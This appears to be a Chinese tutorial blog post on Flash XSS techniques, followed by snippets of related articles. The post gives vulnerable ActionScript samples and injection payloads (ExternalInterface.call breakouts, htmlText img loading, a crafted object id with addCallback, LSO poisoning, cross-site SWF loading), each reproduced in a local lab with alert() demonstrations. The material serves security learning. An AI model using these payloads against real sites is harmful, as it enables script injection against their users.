总结常见Flash XSS攻击方式【值得收藏】

0x01 HTML中嵌入FLASH

在HTML中嵌入FLASH的时候在IE和非IE浏览器下嵌入的方式有所不同,可以使用embed标签和object标签,使用如下的代码进行嵌入:

IE下嵌入

<object codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"> <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> </object>

非IE下嵌入

<object type="application/x-shockwave-Flash" data="./trace.swf"> <param name="movie" value = "./trace.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> </object>

在插入Flash的过程中有两个重要的参数,allowScriptAccess和allowNetworking两个参数:
   
allowScriptAccess:控制html页面与Flash页面的通讯。 always:html和Flash页面的通讯不做任何的限制; samedomain:html和Flash同域的时候可以做通讯【这个值是默认值】; never:html和Flash禁止通讯。  allowNetworking:控制Flash与外部的网络通讯。 all:Flash所有的网络API通讯接口都可用; internal:navigateToURL,fscommand,ExternalInterface.call不可用; none:所有的网络API不可用。

以chrome浏览器为例来验证以上参数,首先在本地搭建环境,并且新建一个Flash文件,Flash文件包括的内容主要是使用ExternalInterface.call执行力一个js语句,弹出当前域的域名。

1):插入本地的Flash文件。

<object type="application/x-shockwave-Flash" data="./trace.swf"> <param name="movie" value = "./trace.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> </object>

运行结果:

2):插入本地的Flash,将allowScriptAccess参数改为samedomain。

<object type="application/x-shockwave-Flash" data="./trace.swf"> <param name="movie" value = "./trace.swf" /> <param name="allowScriptAccess" value="samedomain" /> <param name="allowNetworking" value="all" />

运行结果:

Html界面与Flash属于同域,因此能够弹出。

3):插入本地Flash,将allowScriptAccess改为never。

<object type="application/x-shockwave-Flash" data="./trace.swf"> <param name="movie" value = "./trace.swf" /> <param name="allowScriptAccess" value="never" /> <param name="allowNetworking" value="all" /> </object>

运行结果没有弹出。

4):插入远程Flash,将allowScriptAccess改为always。

<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf"> <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> </object>

运行结果:

注意这里弹出的域为当前html的域名,非Flash的域。

5):插入远程Flash,将allowScriptAccess改为samedomain

<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf"> <param name="movie" value = "http://xxxx.sinaapp.com/trace.swf" /> <param name="allowScriptAccess" value="samedomain" /> <param name="allowNetworking" value="all" /> </object>

运行结果没有弹出,因为Flash的域不和html在同一域内。

6):插入远程Flash,将allowScriptAccess改为never

<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf"> <param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" /> <param name="allowScriptAccess" value="never" /> <param name="allowNetworking" value="all" /> </object>

运行结果没有弹出,由于禁止了与html界面通讯。

7)将allowScriptAccess置为always,将allowNetworking置为internal

<object type="application/x-shockwave-Flash" data="http://xxxxx.sinaapp.com/trace.swf"> <param name="movie" value = "http://xxxxx.sinaapp.com/trace.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="internal" />

运行结果没有弹出,allowNetworking的参数置为internal,禁止了接口ExternalInterface.all。

0x02 Flash跨域请求

Flash跨域访问的时候主要受到crossdomain.xml文件的影响。crossdomain.xml文件严格遵循xml语法,主要作用就是当被Flash请求到本域资源的时候,是否允许请求。 例如: www.evil.com中嵌入一个Flash,Flash跨域请求www.q.com下的资源,此时会先查看www.q.com目录下的crossdomain.xml文件,查看是否允许evil.com域Flash请求本域的资源。 crossdomain.xml文件主要包含如下几个节点:

site-control,allow-access-from,allow-access-from-identity,allow-http-request-headers-from

常用的节点为allow-access-from【可能我见的少= =】,用来指明允许本域资源允许被哪些域名的Flash跨域请求。

例如下面为优酷的crossdomain.xml文件:

<cross-domain-policy> <allow-access-from domain="*.youku.com"/> //允许youku.com域名的Flash访问 <allow-access-from domain="*.ykimg.com"/> <allow-access-from domain="*.tudou.com"/> <allow-access-from domain="*.tudouui.com"/> <allow-access-from domain="*.tdimg.com"/> </cross-domain-policy>

Ps.这个文件常常被用到Flash csrf中,当allow-access-from domain被设置为*后,可能存在Flash csrf的风险。

0x03 常见Flash xss分类总结

Flash缺陷参数-getURL

Flash提供相关的函数,可以执行js代码,getURL【AS2中支持】,navigateToURL【AS3中支持】,ExternalInterface.call。 在wooyun中搜索到了一个相关实例:

WooYun: 久游网FLASH安全问题深入分析与利用(一)

本着学习的原则本地搭建实践了下: 本地新建了个Flash,Flash调用外部资源xml文件。 Flash代码:

var root_xml:XML = new XML(); root_xml.ignoreWhite = true; root_xml.onLoad = function(success){     if(success){         getURL(root_xml.childNodes[0].childNodes[0].childNodes[0].nodeValue)     }else{         getURL("javascript:alert(‘fail’)")     } } root_xml.load(_root.url);

xml文件:

<?xml version="1.0" encoding="utf-8" ?> <data>     <link>javascript:alert('xss')</link> </data>

运行结果:

Ps.此类问题一般可以使用google搜索xml文件被swf调用的情况,传入的内容如果没做过滤,很可能出现此类问题。

Flash缺陷参数-navigateToURL

上例中getURL()为AS2中的方法,在AS3中使用的是navigateToURL,wooyun中上报过此参数导致Flash xss的实例。

wooyun-2012-016512">WooYun: [腾讯实例教程] 那些年我们一起学XSS - 14. Flash Xss入门 [navigateToURL]

此类问题原理一般是由于调用了的资源文件(如xml)可被攻击者控制,导致了Flash xss。

本着学习的原则,本地搭建实践了下: Flash文件:

var url:String = stage.loaderInfo.parameters.url var req:URLRequest = new URLRequest("a.xml"); var ld:URLLoader = new URLLoader(); ld.addEventListener(Event.COMPLETE ,ok); function ok(evtObj:Event):void {     if(ld.data){         navigateToURL(new URLRequest(url),'_self')     } else {             } } ld.load(req)

大致意思就是从外部获取了一个参数,通过navigateToURL调用。

运行结果:

Flash缺陷参数-ExternalInterface.call(参数一)

ExternalInterface.call同样是一个Flash提供的可以执行js的接口函数, ExternalInterface.call函数有两个参数,形如ExternalInterface.call("函数名","参数1")。

Flash最后执行的JS代码如下:
   
try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

此段先考虑参数1,即函数名。

Wooyun上相关的实例有:

WooYun: [腾讯实例教程] 那些年我们一起学XSS - 15. Flash Xss进阶 [ExternalInterface.call第一个参数]

WooYun: Flash应用安全系列[1]--360反射型跨站

这两篇都写的很详细。

本着学习的原则,本地搭建实践了下: Flash文件:

var a:String = root.loaderInfo.parameters.func if(ExternalInterface.available){     ExternalInterface.call(a) } else {     trace(100) } stop()

从外部获取参数func,使用ExternalInterface.call接收第一个参数,执行。

对比:

try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

创建url:

http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//

这样实际执行的js代码为:

try { __Flash__toXML(alert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { "<undefined/>"; }  http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//  try { __Flash__toXML(a1lert(1))}catch(e){alert(100)}// ("参数1")) ; } catch (e) { "<undefined/>"; }

预期结果应该是第一个url执行之后弹出数字1,第二个url执行之后弹出数字100。 访问

http://192.168.4.70/ExternalInterface_first.swf?func=alert(1))}catch(e){alert(100)}//

访问

http://192.168.4.70/ExternalInterface_first.swf?func=a1lert(1))}catch(e){alert(100)}//

和预期结果一样。

Flash缺陷参数-ExternalInterface.call(参数二)

有时候当反编译swf之后,会发现可控的参数的输出位置在ExternalInterface.call函数的第二个参数,方法和思路与第一个参数的时候类似。

Wooyun里面相关的例子:

WooYun: [腾讯实例教程] 那些年我们一起学XSS - 16. Flash Xss进阶 [ExternalInterface.call第二个参数]

WooYun: Flash应用安全系列[3]--WordPress反射型跨站(0day)

Flash文件:

var a:String = root.loaderInfo.parameters.par if(ExternalInterface.available){     ExternalInterface.call("alert",a) } else {     trace(100) } stop()

Flash文件中的a是从外部获取的参数,此处外部获取的参数par赋值给了a,作为输出点输出到了ExternalInterface的第二个参数的位置,此处相对于第一个参数的不同之处是,此处的输出点在引号中,因此此处我们需要把引号闭合掉。根据上面两边文章,可以发现闭合引号使用的方法是/”这样会被转义为/”,”就被吃掉了。

根据ExternalInterface.call的调用原型:

try { __Flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }

我们将参数输入如下的url:

http://192.168.4.70/ExternalInterface_second.swf?par=1111/%22),al)}catch(e){alert(1000)}//

分析应该执行如下:

try{   __Flash__toXML(alert(“1111//”),al } catch(e){   alert(1000) }

如此下来应该就会弹出两个框,一个为1111/,另外一个为1000。 运行结果,弹出1111/:

点击确定,弹出1000:

Ps. 此处ExternalInterface.call调用的函数名,编写Flash的时候设置了alert,因此此处会弹两次,一般情况下,函数名是不能够被控制,这样我们使得,前面的函数执行异常,执行catch中的js即可。

Flash缺陷参数-htmlText

Flash支持在Flash里内嵌html,支持的标签img标签,a标签等。 img标签可以通过src参数引入一个Flash文件,类似与XSF一样。

WooYun: Flash应用安全系列[6]--新浪微博蠕虫威胁

文档写的很详细,推荐阅读。 本着学习的原则,本地创建了Flash文件,

import fl.controls.TextArea; var a:String = root.loaderInfo.parameters.url var t:TextArea = new TextArea() t.width = 500 t.height = 300 t.htmlText += a addChild(t)

从获取URL中的参数url,赋值给a,变量a直接输出到了Textarea t中。 访问如下url:

http://192.168.4.70/htmltext.swf?url=%3Cimg%20src=%27./trace.swf%27%3E

访问结果如下:

Ps.当反编译Flash文件,发现htmltext输出点的时候,可以查看相关是否存在相关的可控的输入,可能存在xss。 Flash缺陷参数object的id可控 html与swf通讯的时候,使用的是ExternalInterface.addCallback函数,调用如下:

function a(){   trace(“hi”); } ExternalInterface.addCallback(“test”,a);

执行了函数之后,在html上可以通过使用函数名test来调用Flash中的函数a。

addCallback的原理:

if ((((activeX == true)) && (!((objectID == null))))){      _evalJS((((("__Flash__addCallback(document.getElementById(/"" + objectID) + "/"), /"") + functionName) + "/");"));  };

objectID为Flash的id,functionName为函数名称,因此当我们插入的Flash的id可控的时候,可能会出现xss问题。

Wooyun上已经出现的类似问题:

WooYun: [腾讯实例教程] 那些年我们一起学XSS - 21. 存储型XSS进阶 [猜测规则,利用Flash addCallback构造XSS]

WooYun: Flash应用安全系列
[4]--Flash Player的又一个0day

WooYun: QQ空间某功能缺陷导致日志存储型XSS - 12

本着学习的原则,本地创建了Flash文件,

function a(){     trace("hi") } ExternalInterface.addCallback("test",a)

x.html页面

<object id="addcallback,&quot;),(function(){if(!window.x){window.x=1;alert(1)}})(),(&quot;" codeBase="http://fpdownload.macromedia.com/get/Flashplayer/current/swFlash.cab#version=8,0,0,0" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"> <param name="movie" value = "./addCallback.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> </object>

访问该界面(IE8下测试):

Flash缺陷参数addcallback与lso结合

这个问题出现的点在addCallback声明的函数,在被html界面js执行之后的返回值攻击者可控,导致了xss问题。使用lso中首先会setlso,写入脏数据,然后getlso获取脏数据。

drops下相关资料:

一个可大规模悄无声息窃取淘宝/支付宝账号与密码的漏洞 -(埋雷式攻击附带视频演示)

本着学习的原则,本地创建了Flash文件,

function setlso(_arg1:String):Boolean{     var _local2:SharedObject = SharedObject.getLocal("kj");     _local2.data.key = _arg1;     _local2.flush();     return (true); }  function getlso():String{     var _local1:SharedObject = SharedObject.getLocal("kj");     if(_local1.data.key == undefined){         return ("");     }     return (_local1.data.key); } ExternalInterface.addCallback("getlso",getlso) ExternalInterface.addCallback("setlso",setlso)

x.html

<html> <head></head> <body> <object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/addCallback_lso.swf"> <param name="movie" value = "http://192.168.4.70/addCallback_lso.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> </object> <script> function set(){     document["lso"].setlso('aa//";alert(document.domain);//aa'); } function get(){     document["lso"].getlso(); }  setTimeout("get()",5000) setTimeout("get()",7000) </script> </body> </html>

运行结果:

跨站Flash

跨站Flash即XSF,通过AS加载第三方的Flash文件,如果这个第三方Flash可以被控制,就可以实现XSF。 在AS2中使用loadMove函数等加载第三方Flash。

_root.loadMovie(swf);

在AS3中使用Loader类进行外部数据处理:

var param:Object = root.loaderInfo.parameters; var swf:String = param[“swf”]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader);

本地搭建环境,新建Flash:

var param:Object = root.loaderInfo.parameters; var swf:String = param["swf"]; var myLoader:Loader = new Loader(); var url:URLRequest = new URLRequest(swf); myLoader.load(url); addChild(myLoader);

新建本地html文件:

<object id="lso" type="application/x-shockwave-Flash" data="http://192.168.4.70/xsf.swf"> <param name="movie" value = "http://192.168.4.70/xsf.swf" /> <param name="allowScriptAccess" value="always" /> <param name="allowNetworking" value="all" /> <param name="Flashvars" value="swf=http://xxxxx.sinaapp.com/trace.swf" </object>

运行结果,加载了远程有缺陷的swf文件导致了xsf。

其他

时间: 2025-01-20 21:27:06

总结常见Flash XSS攻击方式【值得收藏】的相关文章

世界第一个XSS攻击蠕虫的原理

Kamkar近日在Github上发布了 一款软件并附上指导教程,教你如何修改无人机设置,使之认证失效并对其进行攻击.该Perl软件名为SkyJack,运行在 Raspberry Pi上并使用其它开源软件来劫持飞行器.这一新闻让我对此人非常敬佩,翻译了他关于如何在MySpace上实现第一个XSS工具蠕虫代码的说明,翻译的过程也是对XSS攻击的一次学习过程和对黑客精神的震撼.1)Myspace 屏蔽了很多标志符.事实上,他们只允许<a>,<img>类,和<div>类,或许还

《XSS跨站脚本攻击剖析与防御》—第6章6.3节Flash客户端攻击剖析

6.3 Flash客户端攻击剖析XSS跨站脚本攻击剖析与防御对Flash的基础概念和安全模型进行详细介绍后,现在我们来讨论一些比较实际.也是大家最关心的问题--Flash的安全漏洞. 最早研究Flash漏洞的安全人员要算是Stefano Di-Paola,当时他在OWASP发布了几篇论文,详细介绍了Flash的众多安全漏洞,以及如何利用这些漏洞执行XSS.CSRF之类的攻击,下面让我们一步步进行讨论. 6.3.1 getURL() & XSS在Flash中被利用最多是 XSS漏洞.第一个Flas

《XSS跨站脚本攻击剖析与防御》—第6章6.4节利用Flash进行XSS攻击剖析

6.4 利用Flash进行XSS攻击剖析 XSS跨站脚本攻击剖析与防御 利用嵌入Web页面中的Flash进行XSS有一个决定因素:allowScriptAccess属性.allowScriptAccess是使用或 下面是一个简单的示例: allowScriptAccess属性控制着Flash与HTML页面的通信,可选的值有3个: always:允许随时执行脚本操作 never:禁止所有脚本执行操作 samedomain:只有在Flash 应用程序来自与HTML页相同的域时才允许执行脚本操作 其属

网站常见漏洞解析:XSS攻击

跨站攻击,即Cross Site Script Execution(通常简写为XSS,因为CSS与层叠样式表同名,故改为XSS) 是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料.利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式.很多人对于XSS的利用大多停留在弹框框的程度,一些厂商对XSS也是不以为然,都认为安全级别很低,甚至忽略不计. 跨站攻击的一般步骤: 1.攻击者确定目标后,向目标站点可以写入数据库的地方写入攻

网络最常见的攻击方式竟然是SQL注入

NTT研究表明,尽管SQL注入(SQLi)型攻击记录详尽且为人熟知,但目前网络应用程序仍然是SQLi攻击的重灾区. 信息安全和风险管理公司NTTCom Security发布的<2015全球智能威胁风险报告>表明,目前黑客攻击网络应用程序方式中最流行的,要数SQLi攻击.报告对去年发生的60亿攻击行为进行分析,指出SQLi攻击是最常见的网络应用程序攻击方式.全球网络应用程序攻击中,SQLi攻击占26%. SQLi攻击包括在可入侵的网站上输入恶意命令到URL和文本字段,通常是为了窃取数据库中存储的

避免XSS攻击

随着互联网技术的发展,现在的Web应用都含有大量的动态内容以提高用户体验.所谓动态内容,就是应用程序能够根据用户环境和用户请求,输出相应的内容.动态站点会受到一种名为"跨站脚本攻击"(Cross Site Scripting, 安全专家们通常将其缩写成 XSS)的威胁,而静态站点则完全不受其影响. 什么是XSS XSS攻击:跨站脚本攻击(Cross-Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩

四种常见的云攻击及其应对措施

云攻击正越来越多地瞄准服务供应商们.专家Frank Siemons在本文中介绍了服务供应商与企业用户应当予以防护的多种不同类型的攻击. 毫不奇怪,随着云应用的快速发展,也吸引了众多潜在恶意人士的觊觎.企业用户往往习惯于使用联盟或VPN进行直接连接或通过合作伙伴进行连接. 现在,另一个能够攻击者提供访问级别的攻击媒介竟然是云服务供应商(CSP),这在以往是前所未有的.违规CSP有可能会让攻击者访问受管客户端,从而极大地增加云攻击的成功率.影响力以及破坏性. 普华永道和BAE Systems于201

浅谈跨网站脚本攻击(XSS)的手段与防范(简析新浪微博XSS攻击事件)

本文主要涉及内容: 什么是XSS XSS攻击手段和目的 XSS的防范 新浪微博攻击事件 什么是XSS 跨网站脚本(Cross-sitescripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种.它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响.这类攻击通常包含了HTML以及用户端脚本语言. XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.这些恶

前端安全之XSS攻击

 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重点是"跨域"和"客户端执行".有人将XSS攻击分为三种,分别是: 1. Reflected XSS(基于反射的XSS攻击) 2. Stored XSS(基于存储的XSS攻击) 3. DOM-based or local XSS(基于DOM或本地的XSS攻击) Reflected XSS 基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击.